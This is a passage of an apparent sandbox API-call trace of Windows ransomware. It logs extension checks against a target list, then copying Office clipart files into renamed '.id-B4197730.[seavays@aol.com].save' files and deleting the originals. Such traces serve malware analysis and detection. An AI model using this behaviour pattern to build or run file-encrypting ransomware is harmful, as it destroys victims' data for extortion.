lpString2=".WMF") returned 1 [0203.030] lstrlenW (lpString=".xlsx") returned 5 [0203.030] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0203.030] lstrlenW (lpString=".ppt") returned 4 [0203.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0203.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0203.030] lstrlenW (lpString=".zip") returned 4 [0203.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0203.030] lstrlenW (lpString=".rar") returned 4 [0203.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0203.030] lstrlenW (lpString=".bz2") returned 4 [0203.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0203.031] lstrlenW (lpString=".7z") returned 3 [0203.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0203.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0203.031] lstrlenW (lpString=".dbf") returned 4 [0203.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0203.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0203.031] lstrlenW (lpString=".1cd") returned 4 [0203.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0212299.WMF") returned 68 [0203.031] lstrlenW (lpString=".jpg") returned 4 [0203.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.035] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.035] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0203.037] GetLastError () returned 0x0 [0203.037] ReadFile (in: hFile=0x384, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x1f50, lpOverlapped=0x0) returned 1 [0203.039] WriteFile (in: hFile=0x438, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x1f60, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1f60, lpOverlapped=0x0) returned 1 [0203.041] ReadFile (in: hFile=0x384, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.041] WriteFile (in: hFile=0x438, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0203.041] SetEndOfFile (hFile=0x438) returned 1 [0203.041] CloseHandle (hObject=0x438) returned 1 [0203.041] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.041] SetEndOfFile (hFile=0x384) returned 1 [0203.045] CloseHandle (hObject=0x384) returned 1 [0203.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0203.045] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215076.wmf")) returned 1 [0203.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0203.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0203.047] lstrlenW (lpString=".doc") returned 4 [0203.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0203.047] lstrlenW (lpString=".docx") returned 5 [0203.047] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0203.047] lstrlenW (lpString=".pdf") returned 4 [0203.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0203.047] lstrlenW (lpString=".xls") returned 4 [0203.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0203.047] lstrlenW (lpString=".xlsx") returned 5 [0203.047] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0203.047] lstrlenW (lpString=".ppt") returned 4 [0203.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0203.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0203.047] lstrlenW (lpString=".zip") returned 4 [0203.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0203.047] lstrlenW (lpString=".rar") returned 4 [0203.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0203.047] lstrlenW (lpString=".bz2") returned 4 [0203.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0203.047] lstrlenW (lpString=".7z") returned 3 [0203.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0203.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0203.048] lstrlenW (lpString=".dbf") returned 4 [0203.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0203.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0203.048] lstrlenW (lpString=".1cd") returned 4 [0203.048] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215076.WMF") returned 68 [0203.048] lstrlenW (lpString=".jpg") returned 4 [0203.048] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.049] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.049] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215210.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0203.051] GetLastError () returned 0x0 [0203.051] ReadFile (in: hFile=0x384, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x81ce, lpOverlapped=0x0) returned 1 [0203.054] WriteFile (in: hFile=0x438, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x81d0, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x81d0, lpOverlapped=0x0) returned 1 [0203.056] ReadFile (in: hFile=0x384, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.056] WriteFile (in: hFile=0x438, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0203.056] SetEndOfFile (hFile=0x438) returned 1 [0203.057] CloseHandle (hObject=0x438) returned 1 [0203.057] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.057] SetEndOfFile (hFile=0x384) returned 1 [0203.061] CloseHandle (hObject=0x384) returned 1 [0203.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0203.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215210.wmf")) returned 1 [0203.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF") returned 68 [0203.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF") returned 68 [0203.063] lstrlenW (lpString=".doc") returned 4 [0203.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0203.063] lstrlenW (lpString=".docx") returned 5 [0203.063] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0203.063] lstrlenW (lpString=".pdf") returned 4 [0203.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0203.063] lstrlenW (lpString=".xls") returned 4 [0203.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0203.063] lstrlenW (lpString=".xlsx") returned 5 [0203.063] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0203.063] lstrlenW (lpString=".ppt") returned 4 [0203.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0203.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF") returned 68 [0203.063] lstrlenW (lpString=".zip") returned 4 [0203.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0203.063] lstrlenW (lpString=".rar") returned 4 [0203.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0203.063] lstrlenW (lpString=".bz2") returned 4 [0203.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0203.064] lstrlenW (lpString=".7z") returned 3 [0203.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0203.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF") returned 68 [0203.064] lstrlenW (lpString=".dbf") returned 4 [0203.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0203.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF") returned 68 [0203.064] lstrlenW (lpString=".1cd") returned 4 [0203.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0203.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215210.WMF") returned 68 [0203.064] lstrlenW (lpString=".jpg") returned 4 [0203.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0204.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0204.315] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.315] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0204.316] GetLastError () returned 0x0 [0204.316] ReadFile (in: hFile=0x56c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x244a, lpOverlapped=0x0) returned 1 [0204.321] WriteFile (in: hFile=0x544, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0x2450, lpOverlapped=0x0) returned 1 [0204.322] ReadFile (in: hFile=0x56c, lpBuffer=0x3537020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.322] WriteFile (in: hFile=0x544, lpBuffer=0x3537020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3537020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1 [0204.322] SetEndOfFile (hFile=0x544) returned 1 [0204.322] CloseHandle (hObject=0x544) returned 1 [0204.322] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.322] SetEndOfFile (hFile=0x56c) returned 1 [0204.334] CloseHandle (hObject=0x56c) returned 1 [0204.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0204.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0215709.wmf")) returned 1 [0204.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0204.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0204.337] lstrlenW (lpString=".doc") returned 4 [0204.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0204.338] lstrlenW (lpString=".docx") returned 5 [0204.338] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0204.338] lstrlenW (lpString=".pdf") returned 4 [0204.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0204.338] lstrlenW (lpString=".xls") returned 4 [0204.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0204.338] lstrlenW (lpString=".xlsx") returned 5 [0204.338] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0204.338] lstrlenW (lpString=".ppt") returned 4 [0204.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0204.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0204.338] lstrlenW (lpString=".zip") returned 4 [0204.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0204.338] lstrlenW (lpString=".rar") returned 4 [0204.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0204.338] lstrlenW (lpString=".bz2") returned 4 [0204.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0204.338] lstrlenW (lpString=".7z") returned 3 [0204.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0204.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0204.338] lstrlenW (lpString=".dbf") returned 4 [0204.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0204.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0204.338] lstrlenW (lpString=".1cd") returned 4 [0204.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0204.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0215709.WMF") returned 68 [0204.338] lstrlenW (lpString=".jpg") returned 4 [0204.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0204.345] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2d78, Size=0x20) returned 0x459f6c8 [0204.345] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2e98 [0204.345] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2e98, Size=0x20) returned 0x459f6f0 [0204.345] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.345] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.346] Wow64DisableWow64FsRedirection (in: OldValue=0x2c2ff50 | out: OldValue=0x2c2ff50*=0x1) returned 1 [0204.346] lstrlenW (lpString="kernel32.dll") returned 12 [0204.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f6f0 | out: hHeap=0x710000) returned 1 [0204.346] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f6c8 | out: hHeap=0x710000) returned 1 Thread: id = 42 os_tid = 0xe1c [0157.782] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x7cee58 [0157.782] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x7dee60 [0157.783] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bce0 [0157.783] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ac218 [0157.783] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bcf8 [0157.783] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x3642020 [0157.785] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bc50 [0157.785] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78bc50, Size=0x20) returned 0x74dc98 [0157.785] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78bd28 [0157.785] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78bd28, Size=0x20) returned 0x74dcc0 [0157.786] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0157.786] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0157.786] Wow64DisableWow64FsRedirection (in: OldValue=0x2d6ff50 | out: OldValue=0x2d6ff50*=0x0) returned 1 [0157.786] lstrlenW (lpString="kernel32.dll") returned 12 [0157.786] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dc98 | out: hHeap=0x710000) returned 1 [0157.786] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0157.786] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dcc0 | out: hHeap=0x710000) returned 1 [0157.786] Sleep (dwMilliseconds=0x64) [0158.332] lstrcmpiW (lpString1=".ini", lpString2=".save") returned -1 [0158.332] lstrlenW (lpString="desktop.ini") returned 11 [0158.332] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0158.333] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=129) returned 1 [0158.333] CloseHandle (hObject=0x2f4) returned 1 [0158.333] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0158.333] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[seavays@aol.com].save")) returned 0x26 [0158.336] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.336] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.336] lstrlenW (lpString=".doc") returned 4 [0158.336] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0158.336] lstrlenW (lpString=".docx") returned 5 [0158.336] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0158.336] lstrlenW (lpString=".pdf") returned 4 [0158.336] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0158.336] lstrlenW (lpString=".xls") returned 4 [0158.336] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0158.336] lstrlenW (lpString=".xlsx") returned 5 [0158.336] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0158.336] lstrlenW (lpString=".ppt") returned 4 [0158.336] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0158.336] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.336] lstrlenW (lpString=".zip") returned 4 [0158.336] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0158.336] lstrlenW (lpString=".rar") returned 4 [0158.336] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0158.336] lstrlenW (lpString=".bz2") returned 4 [0158.336] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0158.336] lstrlenW (lpString=".7z") returned 3 [0158.336] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0158.336] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.336] lstrlenW (lpString=".dbf") returned 4 [0158.336] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0158.336] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.336] lstrlenW (lpString=".1cd") returned 4 [0158.337] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0158.337] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.337] lstrlenW (lpString=".jpg") returned 4 [0158.337] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0158.337] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.337] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.337] lstrlenW (lpString=".doc") returned 4 [0158.337] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0158.337] lstrlenW (lpString=".docx") returned 5 [0158.337] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0158.337] lstrlenW (lpString=".pdf") returned 4 [0158.337] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0158.337] lstrlenW (lpString=".xls") returned 4 [0158.337] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0158.337] lstrlenW (lpString=".xlsx") returned 5 [0158.337] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0158.337] lstrlenW (lpString=".ppt") returned 4 [0158.337] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0158.337] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.337] lstrlenW (lpString=".zip") returned 4 [0158.337] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0158.337] lstrlenW (lpString=".rar") returned 4 [0158.337] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0158.337] lstrlenW (lpString=".bz2") returned 4 [0158.337] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0158.337] lstrlenW (lpString=".7z") returned 3 [0158.337] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0158.337] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.337] lstrlenW (lpString=".dbf") returned 4 [0158.338] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0158.338] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.338] lstrlenW (lpString=".1cd") returned 4 [0158.338] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0158.338] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0158.338] lstrlenW (lpString=".jpg") returned 4 [0158.338] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0158.338] Sleep (dwMilliseconds=0x64) [0158.877] Sleep (dwMilliseconds=0x64) [0159.169] Sleep (dwMilliseconds=0x64) [0159.814] Sleep (dwMilliseconds=0x64) [0160.030] Sleep (dwMilliseconds=0x64) [0160.485] Sleep (dwMilliseconds=0x64) [0160.941] Sleep (dwMilliseconds=0x64) [0161.474] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0161.474] lstrlenW (lpString="J0099176.WMF") returned 12 [0161.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0161.783] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=2488) returned 1 [0161.783] CloseHandle (hObject=0x344) returned 1 [0161.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220 [0161.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[seavays@aol.com].save")) returned 0x20 [0162.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0162.268] lstrlenW (lpString="C:\\Program Files\\Microsoft 